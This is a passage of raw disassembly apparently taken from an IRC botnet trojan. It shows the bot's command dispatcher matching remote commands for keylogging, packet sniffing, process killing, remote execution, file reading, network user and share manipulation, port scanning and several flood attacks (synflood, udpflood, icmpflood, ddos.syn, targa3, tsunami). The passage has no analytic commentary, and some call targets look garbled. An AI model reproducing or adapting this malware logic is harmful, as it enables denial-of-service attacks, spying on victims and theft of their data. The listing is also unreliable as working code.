pop ecx
jz loc_409471
push edi
push offset aSe ; "se"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409471
push edi
push offset aDns ; "dns"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aDn ; "dn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409406
push edi
push offset aKillproc ; "killproc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKp ; "kp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4093D6
push edi
push offset aKill ; "kill"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aKi ; "ki"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409377
push edi
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aDel ; "del"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40933B
push edi
push offset aGet ; "get"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aGt ; "gt"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40925C
push edi
push offset aList ; "list"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aLi ; "li"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40923A
push edi
push offset aVisit ; "visit"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aV ; "v"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409146
push edi
push offset aMirccmd ; "mirccmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aMirc ; "mirc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40910F
push edi
push offset aCmd ; "cmd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aCm ; "cm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4090A5
push edi
push offset aReadfile ; "readfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aRf ; "rf"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_409028
push edi
push offset aPsniff ; "psniff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C7B
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405C41
push 20h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405B6B
push offset dword_42B250
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405B6B: ; CODE XREF: sub_401ACD+4092j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_EC4], eax
mov eax, [ebp+var_4]
mov [ebp+var_E3C], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_E38], eax
jnz short loc_405BAD
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405BAD
mov esi, [ebp+var_88]
loc_405BAD: ; CODE XREF: sub_401ACD+40C2j
; sub_401ACD+40D8j
push esi
lea eax, [ebp+var_EC0]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42B220
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 20h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_E40], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_EC4]
push ebx
push eax
push offset byte_411FD5
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_E40]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405C30
loc_405C1A: ; CODE XREF: sub_401ACD+4161j
cmp [ebp+var_E34], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_405C1A
; ---------------------------------------------------------------------------
loc_405C30: ; CODE XREF: sub_401ACD+414Bj
nop
call near ptr 2670897h
push eax
push offset dword_42B1E4
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C41: ; CODE XREF: sub_401ACD+4082j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 20h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405C71
push eax
push offset dword_42B1A8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405C71: ; CODE XREF: sub_401ACD+4197j
push offset dword_42B17C
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405C7B: ; CODE XREF: sub_401ACD+406Bj
push edi
push offset aSniffer ; "sniffer"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405DCD
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405D93
push 21h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405CBD
push offset unk_42B154
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405CBD: ; CODE XREF: sub_401ACD+41E4j
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_88]
mov [ebp+var_FEC], eax
mov eax, [ebp+var_4]
mov [ebp+var_F64], eax
mov eax, [ebp+var_8]
cmp esi, ebx
mov [ebp+var_F60], eax
jnz short loc_405CFF
mov esi, offset aF_1 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405CFF
mov esi, [ebp+var_88]
loc_405CFF: ; CODE XREF: sub_401ACD+4214j
; sub_401ACD+422Aj
push esi
lea eax, [ebp+var_FE8]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset unk_42B124
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 21h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_F68], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_FEC]
push ebx
push eax
push offset sub_412660
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_F68]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_405D82
loc_405D6C: ; CODE XREF: sub_401ACD+42B3j
cmp [ebp+var_F5C], ebx
jnz loc_40828B
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_405D6C
; ---------------------------------------------------------------------------
loc_405D82: ; CODE XREF: sub_401ACD+429Dj
nop
call near ptr 2670897h
push eax
push offset unk_42B0E8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405D93: ; CODE XREF: sub_401ACD+41D4j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 21h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405DC3
push eax
push offset unk_42B0A8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405DC3: ; CODE XREF: sub_401ACD+42E9j
push offset unk_42B078
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405DCD: ; CODE XREF: sub_401ACD+41BDj
push edi
push offset aIdent ; "ident"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_405EA2
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405E68
push 2
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405E0B
push offset dword_42B050
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405E0B: ; CODE XREF: sub_401ACD+4332j
lea eax, [ebp+var_2C4]
push offset dword_42B024
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp+var_10]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
call near ptr 2670000h
nop
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz loc_40828B
nop
call near ptr 2670897h
push eax
push offset dword_42AFF0
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E68: ; CODE XREF: sub_401ACD+4326j
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 2
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405E98
push eax
push offset dword_42AFB8
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405E98: ; CODE XREF: sub_401ACD+43BEj
push offset dword_42AF98
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405EA2: ; CODE XREF: sub_401ACD+430Fj
push edi
push offset aKeylog ; "keylog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40601F
push [ebp+arg_10]
push offset aOn ; "on"
call sub_41C070
pop ecx
mov edi, offset aFile ; "file"
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_405F18
push [ebp+arg_10]
push offset aOff ; "off"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40828B
push ebx
push 23h
call sub_40B2F1
pop ecx
cmp eax, ebx
pop ecx
jle short loc_405F0E
push eax
push offset dword_42AF4C
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_405F0E: ; CODE XREF: sub_401ACD+4434j
push offset dword_42AF20
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F18: ; CODE XREF: sub_401ACD+4400j
; sub_401ACD+440Fj
push 23h
call sub_40B33E
test eax, eax
pop ecx
jle short loc_405F2E
push offset dword_42AF00
jmp loc_406F04
; ---------------------------------------------------------------------------
loc_405F2E: ; CODE XREF: sub_401ACD+4455j
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_C5C], eax
mov eax, [ebp+var_4]
push edi
mov [ebp+var_BD4], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F5B
mov [ebp+var_BD0], 1
jmp short loc_405F64
; ---------------------------------------------------------------------------
loc_405F5B: ; CODE XREF: sub_401ACD+4480j
mov eax, [ebp+var_8]
mov [ebp+var_BD0], eax
loc_405F64: ; CODE XREF: sub_401ACD+448Cj
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jnz short loc_405F8B
mov esi, offset aF_0 ; "#f"
push offset dword_43D128
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_405F8B
mov esi, [ebp+var_88]
loc_405F8B: ; CODE XREF: sub_401ACD+44A0j
; sub_401ACD+44B6j
push esi
lea eax, [ebp+var_C54]
push 80h
push eax
call sub_41B980
add esp, 0Ch
lea eax, [ebp+var_2C4]
push offset dword_42AEDC
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 23h
push eax
call sub_40B0F6
add esp, 14h
mov [ebp+var_C58], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_C5C]
push ebx
push eax
push offset dword_411CF4
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_C58]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_40600E
loc_405FF8: ; CODE XREF: sub_401ACD+453Fj
cmp [ebp+var_BCC], ebx
jnz loc_40828B
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_405FF8
; ---------------------------------------------------------------------------
loc_40600E: ; CODE XREF: sub_401ACD+4529j
nop
call near ptr 2670897h
push eax
push offset dword_42AEA0
jmp loc_4049EB
; ---------------------------------------------------------------------------
loc_40601F: ; CODE XREF: sub_401ACD+43E4j
push edi
push offset aNet ; "net"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40626F
cmp dword_4CB044, ebx
jz short loc_40604E
cmp dword_4CB06C, ebx
jz short loc_40604E
push offset unk_42AE64
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40604E: ; CODE XREF: sub_401ACD+456Dj
; sub_401ACD+4575j
cmp [ebp+var_C], ebx
jz loc_406CDE
mov edi, [ebp+esi+var_88]
mov [ebp+arg_0], ebx
cmp edi, ebx
jz short loc_406073
push edi
push [ebp+var_C]
call sub_41B900
pop ecx
mov [ebp+arg_0], eax
pop ecx
loc_406073: ; CODE XREF: sub_401ACD+4596j
push [ebp+arg_10]
push offset aStart ; "start"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060C0
cmp edi, ebx
jz short loc_406094
push [ebp+arg_0]
push 3
jmp loc_406126
; ---------------------------------------------------------------------------
loc_406094: ; CODE XREF: sub_401ACD+45BBj
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_41895B
add esp, 0Ch
test eax, eax
jz short loc_4060B6
push offset unk_42AE38
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060B6: ; CODE XREF: sub_401ACD+45DDj
push offset unk_42AE18
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_4060C0: ; CODE XREF: sub_401ACD+45B7j
push [ebp+arg_10]
push offset aStop ; "stop"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060DA
push [ebp+arg_0]
push 4
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060DA: ; CODE XREF: sub_401ACD+4604j
push [ebp+arg_10]
push offset aPause ; "pause"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4060F4
push [ebp+arg_0]
push 5
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_4060F4: ; CODE XREF: sub_401ACD+461Ej
push [ebp+arg_10]
push offset aContinue ; "continue"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40610E
push [ebp+arg_0]
push 6
jmp short loc_406126
; ---------------------------------------------------------------------------
loc_40610E: ; CODE XREF: sub_401ACD+4638j
push [ebp+arg_10]
push offset aDelete ; "delete"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406138
push [ebp+arg_0]
push 1
loc_406126: ; CODE XREF: sub_401ACD+45C2j
; sub_401ACD+460Bj ...
call sub_4186C1
pop ecx
pop ecx
loc_40612D: ; CODE XREF: sub_401ACD+46A1j
; sub_401ACD+4729j ...
push eax
push offset aS_1 ; "%s"
jmp loc_406CCF
; ---------------------------------------------------------------------------
loc_406138: ; CODE XREF: sub_401ACD+4652j
push [ebp+arg_10]
push offset aShare ; "share"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40619D
cmp edi, ebx
jz short loc_406170
cmp [ebp+var_8FC], bl
jz short loc_40615D
push ebx
push edi
push 1
jmp short loc_406166
; ---------------------------------------------------------------------------
loc_40615D: ; CODE XREF: sub_401ACD+4688j
push [ebp+esi+var_84]
push edi
push ebx
loc_406166: ; CODE XREF: sub_401ACD+468Ej
call sub_418A98
add esp, 0Ch
jmp short loc_40612D
; ---------------------------------------------------------------------------
loc_406170: ; CODE XREF: sub_401ACD+4680j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418C8E
add esp, 10h
test eax, eax
jz short loc_406193
push offset unk_42ADD0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406193: ; CODE XREF: sub_401ACD+46BAj
push offset unk_42ADB0
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40619D: ; CODE XREF: sub_401ACD+467Cj
push [ebp+arg_10]
push offset aUser ; "user"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406228
cmp edi, ebx
jz short loc_4061FB
cmp [ebp+var_8FC], bl
jz short loc_4061CE
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push ebx
push edi
push 1
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061CE: ; CODE XREF: sub_401ACD+46EDj
push [ebp+var_4]
mov esi, [ebp+esi+var_84]
cmp esi, ebx
push [ebp+var_88]
push [ebp+arg_4]
jz short loc_4061EA
push esi
push edi
push ebx
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_4061EA: ; CODE XREF: sub_401ACD+4716j
push ebx
push edi
push 2
loc_4061EE: ; CODE XREF: sub_401ACD+46FFj
; sub_401ACD+471Bj
call sub_418DAF
add esp, 18h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_4061FB: ; CODE XREF: sub_401ACD+46E5j
push ebx
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_4192DF
add esp, 10h
test eax, eax
jz short loc_40621E
push offset unk_42AD88
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40621E: ; CODE XREF: sub_401ACD+4745j
push offset unk_42AD68
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406228: ; CODE XREF: sub_401ACD+46E1j
push [ebp+arg_10]
push offset aSend ; "send"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_406265
cmp edi, ebx
jz short loc_40625B
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419593
add esp, 10h
jmp loc_40612D
; ---------------------------------------------------------------------------
loc_40625B: ; CODE XREF: sub_401ACD+4770j
push offset unk_42AD3C
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_406265: ; CODE XREF: sub_401ACD+476Cj
push offset unk_42AD20
jmp loc_4085D5
; ---------------------------------------------------------------------------
loc_40626F: ; CODE XREF: sub_401ACD+4561j
push edi
push offset aCapture ; "capture"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aCap ; "cap"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408DFD
push edi
push offset aGethost ; "gethost"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
push edi
push offset aGh ; "gh"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408D09
loc_4062C3: ; CODE XREF: sub_401ACD+3CBDj
; sub_401ACD+3CECj ...
mov edi, [ebp+esi+var_88]
cmp edi, ebx
mov [ebp+arg_1C], edi
jz loc_401E94
push [ebp+arg_8]
push offset aKilllog ; "killlog"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aKl ; "kl"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CEF
push [ebp+arg_8]
push offset aAddalias ; "addalias"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aAa ; "aa"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408CAC
push [ebp+arg_8]
push offset aPrivmsg_0 ; "privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset dword_42B504
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408C57
push [ebp+arg_8]
push offset aAction ; "action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aA ; "a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408BEA
push [ebp+arg_8]
push offset aCycle ; "cycle"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aCy ; "cy"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B86
push [ebp+arg_8]
push offset aMode ; "mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aM ; "m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408B4A
push [ebp+arg_8]
push offset aC_raw ; "c_raw"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_r ; "c_r"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408ADB
push [ebp+arg_8]
push offset aC_mode ; "c_mode"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_m ; "c_m"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408A55
push [ebp+arg_8]
push offset aC_nick ; "c_nick"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_n ; "c_n"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089E5
push [ebp+arg_8]
push offset aC_join ; "c_join"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_j ; "c_j"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4089BF
push [ebp+arg_8]
push offset aC_part ; "c_part"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aC_p ; "c_p"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40895B
push [ebp+arg_8]
push offset aTarga3 ; "targa3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aT3 ; "t3"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408886
push [ebp+arg_8]
push offset aTsunami ; "tsunami"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aTsn ; "tsn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40878B
push [ebp+arg_8]
push offset aRepeat ; "repeat"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aRp ; "rp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408687
push [ebp+arg_8]
push offset aDelay ; "delay"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aDe ; "de"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4085E8
push [ebp+arg_8]
push offset aJpDe100 ; "jp]de100"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aJp10 ; "jp]10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408457
push [ebp+arg_8]
push offset aExecute ; "execute"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aE ; "e"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4083C4
push [ebp+arg_8]
push offset aFindfile ; "findfile"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aFf ; "ff"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4082B5
push [ebp+arg_8]
push offset aRename ; "rename"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aMv ; "mv"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40823E
push [ebp+arg_8]
push offset aIcmpflood ; "icmpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
push [ebp+arg_8]
push offset aIcmp ; "icmp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408141
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz loc_401E94
push [ebp+arg_8]
push offset aClone_0 ; "clone"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aC ; "c"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_408059
push [ebp+arg_8]
push offset aDdos_syn ; "ddos.syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_ack ; "ddos.ack"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aDdos_random ; "ddos.random"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407F60
push [ebp+arg_8]
push offset aWisdom_udp ; "wisdom.udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4067D6
push 7Fh
lea eax, [ebp+var_327C]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_31FC]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_317C]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_30FC]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
mov [ebp+var_3074], eax
push ebx
lea eax, [ebp+var_2C4]
push 13h
push eax
mov [ebp+var_3078], edi
mov [ebp+var_3280], esi
call sub_40B0F6
add esp, 3Ch
mov [ebp+var_307C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_3280]
push ebx
push eax
push offset word_4146CE
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_307C]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4067C5
loc_4067AF: ; CODE XREF: sub_401ACD+4CF6j
cmp [ebp+var_3070], ebx
jnz loc_403DA0
push 32h
nop
call near ptr 2660F2Dh
jmp short loc_4067AF
; ---------------------------------------------------------------------------
loc_4067C5: ; CODE XREF: sub_401ACD+4CE0j
call near ptr 2670897h
nop
push eax
push offset unk_42AB90
jmp loc_403D91
; ---------------------------------------------------------------------------
loc_4067D6: ; CODE XREF: sub_401ACD+4C36j
push [ebp+arg_8]
push offset aSynflood ; "synflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSyn ; "syn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407E78
push [ebp+arg_8]
push offset aSkysyn ; "skysyn"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_406903
push 7Fh
lea eax, [ebp+var_36A4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3624]
push edi
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_35A4]
push [ebp+arg_0]
push eax
call sub_41B5F0
push esi
lea eax, [ebp+var_3524]
push [ebp+var_88]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 30h
mov esi, [ebp+arg_4]
mov [ebp+var_34A0], eax
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov [ebp+var_349C], eax
lea eax, [ebp+var_2C4]
push edi
mov [ebp+var_36A8], esi
push [ebp+arg_10]
push offset dword_42AB48
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 10h
push eax
call sub_40B0F6
add esp, 20h
mov [ebp+var_34A4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_36A8]
push ebx
push eax
push offset word_413626
push ebx
push ebx
nop
call near ptr 2670000h
mov ecx, [ebp+var_34A4]
imul ecx, 234h
cmp eax, ebx
mov dword_43DEC4[ecx], eax
jz short loc_4068F2
loc_4068DC: ; CODE XREF: sub_401ACD+4E23j
cmp [ebp+var_3498], ebx
jnz loc_407278
push 32h
call near ptr 2660F2Dh
nop
jmp short loc_4068DC
; ---------------------------------------------------------------------------
loc_4068F2: ; CODE XREF: sub_401ACD+4E0Dj
nop
call near ptr 2670897h
push eax
push offset dword_42AB0C
jmp loc_407269
; ---------------------------------------------------------------------------
loc_406903: ; CODE XREF: sub_401ACD+4D48j
push [ebp+arg_8]
push offset aPhatwonk ; "phatwonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aWonk ; "wonk"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407D90
push [ebp+arg_8]
push offset aJpldg10 ; "jpldg10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aJpl10 ; "jpl10"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407C52
push [ebp+arg_8]
push offset aRedirect ; "redirect"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aRd ; "rd"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407B55
push [ebp+arg_8]
push offset aScan ; "scan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aSc ; "sc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407A62
push [ebp+arg_8]
push offset aC_privmsg ; "c_privmsg"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_pm ; "c_pm"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40795D
push [ebp+arg_8]
push offset aC_action ; "c_action"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
push [ebp+arg_8]
push offset aC_a ; "c_a"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407865
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz loc_401E94
push [ebp+arg_8]
push offset aPortscan ; "portscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aPsc ; "psc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40775F
push [ebp+arg_8]
push offset aAdvscan ; "advscan"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aAsc ; "asc"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_407298
push [ebp+arg_8]
push offset aUdpflood ; "udpflood"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aUdp ; "udp"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40714F
push [ebp+arg_8]
push offset aU ; "u"
